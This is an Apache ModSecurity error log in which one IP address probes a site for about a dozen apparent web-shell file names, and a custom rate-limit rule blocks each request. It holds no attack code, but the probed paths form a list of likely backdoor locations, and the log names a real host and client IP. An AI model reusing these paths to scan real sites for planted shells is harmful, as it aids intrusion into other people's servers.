[Sat Dec 13 21:44:46.461072 2025] [:error] [pid 23013:tid 23038] [client 4.194.162.164:53996] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aT1tzqs9bDNWPQXUW1aoEwAAA9c"]
[Sat Dec 13 21:44:47.093385 2025] [:error] [pid 39287:tid 39295] [client 4.194.162.164:54548] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aT1tzzBwBW1JRRoCYqaRSgAAAQY"]
[Sat Dec 13 21:44:47.642666 2025] [:error] [pid 39287:tid 39300] [client 4.194.162.164:58909] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aT1tzzBwBW1JRRoCYqaRTAAAAQs"]
[Sat Dec 13 21:44:48.204477 2025] [:error] [pid 8242:tid 8265] [client 4.194.162.164:53979] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aT1t0CNKA7vSGNUfnOFAwwAAAlE"]
[Sat Dec 13 21:44:48.818712 2025] [:error] [pid 8242:tid 8259] [client 4.194.162.164:58910] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aT1t0CNKA7vSGNUfnOFAzgAAAks"]
[Sat Dec 13 21:44:49.392184 2025] [:error] [pid 43748:tid 43802] [client 4.194.162.164:54245] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aT1t0arTT0VzE3gYjcC1SAAAAFY"]
[Sat Dec 13 21:44:51.287633 2025] [:error] [pid 43748:tid 43795] [client 4.194.162.164:58885] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aT1t06rTT0VzE3gYjcC1VwAAAFA"]
[Sat Dec 13 21:44:51.939979 2025] [:error] [pid 21342:tid 21364] [client 4.194.162.164:58912] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aT1t0_BL0VVSMIEvqsuJpQAAAxI"]
[Sat Dec 13 21:44:53.188813 2025] [:error] [pid 8242:tid 8256] [client 4.194.162.164:53987] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aT1t1SNKA7vSGNUfnOFA8QAAAkg"]
[Sat Dec 13 21:44:53.803637 2025] [:error] [pid 8242:tid 8255] [client 4.194.162.164:54007] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aT1t1SNKA7vSGNUfnOFA9wAAAkc"]
[Sat Dec 13 21:44:54.695097 2025] [:error] [pid 43747:tid 43761] [client 4.194.162.164:54232] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aT1t1pYw3twBd_JQEHhDTwAAAAo"]
[Sat Dec 13 21:44:55.782595 2025] [:error] [pid 21342:tid 21366] [client 4.194.162.164:54261] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aT1t1_BL0VVSMIEvqsuJrAAAAxQ"]
[Sat Dec 13 21:44:57.437202 2025] [:error] [pid 43747:tid 43760] [client 4.194.162.164:54250] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aT1t2ZYw3twBd_JQEHhDUgAAAAk"]
[Sat Dec 13 21:44:58.274619 2025] [:error] [pid 8242:tid 8249] [client 4.194.162.164:58941] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aT1t2iNKA7vSGNUfnOFA_gAAAkE"]
[Sat Dec 13 21:44:59.275751 2025] [:error] [pid 43747:tid 43773] [client 4.194.162.164:58942] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aT1t25Yw3twBd_JQEHhDVgAAABY"]
[Sat Dec 13 21:45:00.371842 2025] [:error] [pid 22505:tid 22507] [client 4.194.162.164:54573] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aT1t3DvNI-35hW16TnUklAAAA4A"]
[Sat Dec 13 21:45:01.099095 2025] [:error] [pid 8242:tid 8253] [client 4.194.162.164:54545] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aT1t3SNKA7vSGNUfnOFA_wAAAkU"]
[Sat Dec 13 21:45:01.483435 2025] [:error] [pid 23013:tid 23027] [client 4.194.162.164:58932] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aT1t3as9bDNWPQXUW1aoLQAAA8w"]
[Sat Dec 13 21:45:02.465002 2025] [:error] [pid 22505:tid 22510] [client 4.194.162.164:54247] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aT1t3jvNI-35hW16TnUklgAAA4M"]
[Sat Dec 13 21:45:02.934346 2025] [:error] [pid 20799:tid 20801] [client 4.194.162.164:54246] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aT1t3qPz3eVRUTzZpOKJ9QAAAsA"]
[Sat Dec 13 21:45:08.376965 2025] [:error] [pid 23013:tid 23038] [client 4.194.162.164:54209] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aT1t5Ks9bDNWPQXUW1aoPwAAA9c"]
[Sat Dec 13 21:45:09.416641 2025] [:error] [pid 43836:tid 43860] [client 4.194.162.164:54226] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aT1t5WAEOBirsxb11nYHGwAAANY"]
[Sat Dec 13 21:45:09.961086 2025] [:error] [pid 43747:tid 43753] [client 4.194.162.164:54012] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aT1t5ZYw3twBd_JQEHhDVwAAAAI"]
[Sat Dec 13 21:45:10.880197 2025] [:error] [pid 22505:tid 22519] [client 4.194.162.164:53969] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aT1t5jvNI-35hW16TnUklwAAA4w"]
[Sat Dec 13 21:45:11.375454 2025] [:error] [pid 23013:tid 23035] [client 4.194.162.164:57619] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aT1t56s9bDNWPQXUW1aoQgAAA9Q"]
[Sat Dec 13 21:45:12.690058 2025] [:error] [pid 20799:tid 20804] [client 4.194.162.164:57607] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aT1t6KPz3eVRUTzZpOKKAAAAAsM"]
[Sat Dec 13 21:45:13.549062 2025] [:error] [pid 39287:tid 39303] [client 4.194.162.164:58959] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aT1t6TBwBW1JRRoCYqaRVAAAAQ4"]
[Sat Dec 13 21:45:14.439091 2025] [:error] [pid 39287:tid 39295] [client 4.194.162.164:54237] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aT1t6jBwBW1JRRoCYqaRVQAAAQY"]
[Sat Dec 13 21:45:15.454138 2025] [:error] [pid 43747:tid 43774] [client 4.194.162.164:54267] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/static/as.php"] [unique_id "aT1t65Yw3twBd_JQEHhDWgAAABc"]
[Sat Dec 13 21:45:15.941880 2025] [:error] [pid 23013:tid 23032] [client 4.194.162.164:56365] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/static/as.php"] [unique_id "aT1t66s9bDNWPQXUW1aoSQAAA9E"]
[Sat Dec 13 21:45:17.646509 2025] [:error] [pid 43748:tid 43797] [client 4.194.162.164:1499] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/static/as.php"] [unique_id "aT1t7arTT0VzE3gYjcC1YAAAAFI"]
[Sat Dec 13 21:45:18.585248 2025] [:error] [pid 39287:tid 39300] [client 4.194.162.164:1508] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/static/as.php"] [unique_id "aT1t7jBwBW1JRRoCYqaRWAAAAQs"]
[Sat Dec 13 21:45:19.654054 2025] [:error] [pid 55071:tid 55090] [client 4.194.162.164:57632] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aT1t78HSpNduhEZ_mjffGgAAAZE"]
[Sat Dec 13 21:45:20.452638 2025] [:error] [pid 55071:tid 55073] [client 4.194.162.164:60157] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aT1t8MHSpNduhEZ_mjffGwAAAYA"]
[Sat Dec 13 21:45:21.513040 2025] [:error] [pid 55071:tid 55089] [client 4.194.162.164:58060] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aT1t8cHSpNduhEZ_mjffHAAAAZA"]
[Sat Dec 13 21:45:22.542889 2025] [:error] [pid 23013:tid 23029] [client 4.194.162.164:60122] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aT1t8qs9bDNWPQXUW1aoTgAAA84"]
[Sat Dec 13 21:45:23.672089 2025] [:error] [pid 21342:tid 21351] [client 4.194.162.164:60136] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aT1t8_BL0VVSMIEvqsuJxQAAAwU"]
[Sat Dec 13 21:45:24.412811 2025] [:error] [pid 55071:tid 55097] [client 4.194.162.164:1485] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aT1t9MHSpNduhEZ_mjffHwAAAZg"]
[Sat Dec 13 21:45:25.056063 2025] [:error] [pid 43836:tid 43842] [client 4.194.162.164:60119] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aT1t9WAEOBirsxb11nYHJQAAAMQ"]
[Sat Dec 13 21:45:25.396674 2025] [:error] [pid 22505:tid 22530] [client 4.194.162.164:58091] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aT1t9TvNI-35hW16TnUknwAAA5c"]
[Sat Dec 13 21:45:26.253928 2025] [:error] [pid 43836:tid 43844] [client 4.194.162.164:58082] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aT1t9mAEOBirsxb11nYHJgAAAMY"]
[Sat Dec 13 21:45:27.213054 2025] [:error] [pid 22505:tid 22514] [client 4.194.162.164:58049] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aT1t9zvNI-35hW16TnUkoQAAA4c"]
[Sat Dec 13 21:45:27.515420 2025] [:error] [pid 23013:tid 23025] [client 4.194.162.164:58111] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aT1t96s9bDNWPQXUW1aoUQAAA8o"]
[Sat Dec 13 21:45:28.217386 2025] [:error] [pid 23013:tid 23021] [client 4.194.162.164:58471] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aT1t-Ks9bDNWPQXUW1aoUwAAA8Y"]
[Sat Dec 13 21:45:28.924115 2025] [:error] [pid 8242:tid 8249] [client 4.194.162.164:1462] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aT1t-CNKA7vSGNUfnOFBCgAAAkE"]
[Sat Dec 13 21:45:29.757251 2025] [:error] [pid 39287:tid 39313] [client 4.194.162.164:60114] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aT1t-TBwBW1JRRoCYqaRWwAAARg"]
[Sat Dec 13 21:45:30.304222 2025] [:error] [pid 43748:tid 43791] [client 4.194.162.164:60145] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aT1t-qrTT0VzE3gYjcC1YQAAAEw"]
[Sat Dec 13 21:45:30.770226 2025] [:error] [pid 23013:tid 23039] [client 4.194.162.164:58062] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aT1t-qs9bDNWPQXUW1aoVAAAA9g"]
[Sat Dec 13 21:45:31.516843 2025] [:error] [pid 43748:tid 43799] [client 4.194.162.164:58100] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aT1t-6rTT0VzE3gYjcC1YgAAAFQ"]
[Sat Dec 13 21:45:32.351260 2025] [:error] [pid 39287:tid 39312] [client 4.194.162.164:57617] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aT1t_DBwBW1JRRoCYqaRXAAAARc"]
[Sat Dec 13 21:45:33.180738 2025] [:error] [pid 21342:tid 21348] [client 4.194.162.164:58093] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aT1t_fBL0VVSMIEvqsuJyQAAAwI"]
[Sat Dec 13 21:45:33.572835 2025] [:error] [pid 55071:tid 55088] [client 4.194.162.164:1447] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aT1t_cHSpNduhEZ_mjffJAAAAY8"]
[Sat Dec 13 21:45:34.349211 2025] [:error] [pid 43836:tid 43854] [client 4.194.162.164:58057] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aT1t_mAEOBirsxb11nYHKwAAANA"]
[Sat Dec 13 21:45:34.964309 2025] [:error] [pid 39287:tid 39294] [client 4.194.162.164:57629] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aT1t_jBwBW1JRRoCYqaRYAAAAQU"]
[Sat Dec 13 21:45:36.117403 2025] [:error] [pid 43836:tid 43862] [client 4.194.162.164:1461] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aT1uAGAEOBirsxb11nYHLgAAANg"]
[Sat Dec 13 21:45:37.235605 2025] [:error] [pid 20799:tid 20812] [client 4.194.162.164:1697] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aT1uAaPz3eVRUTzZpOKKDAAAAss"]
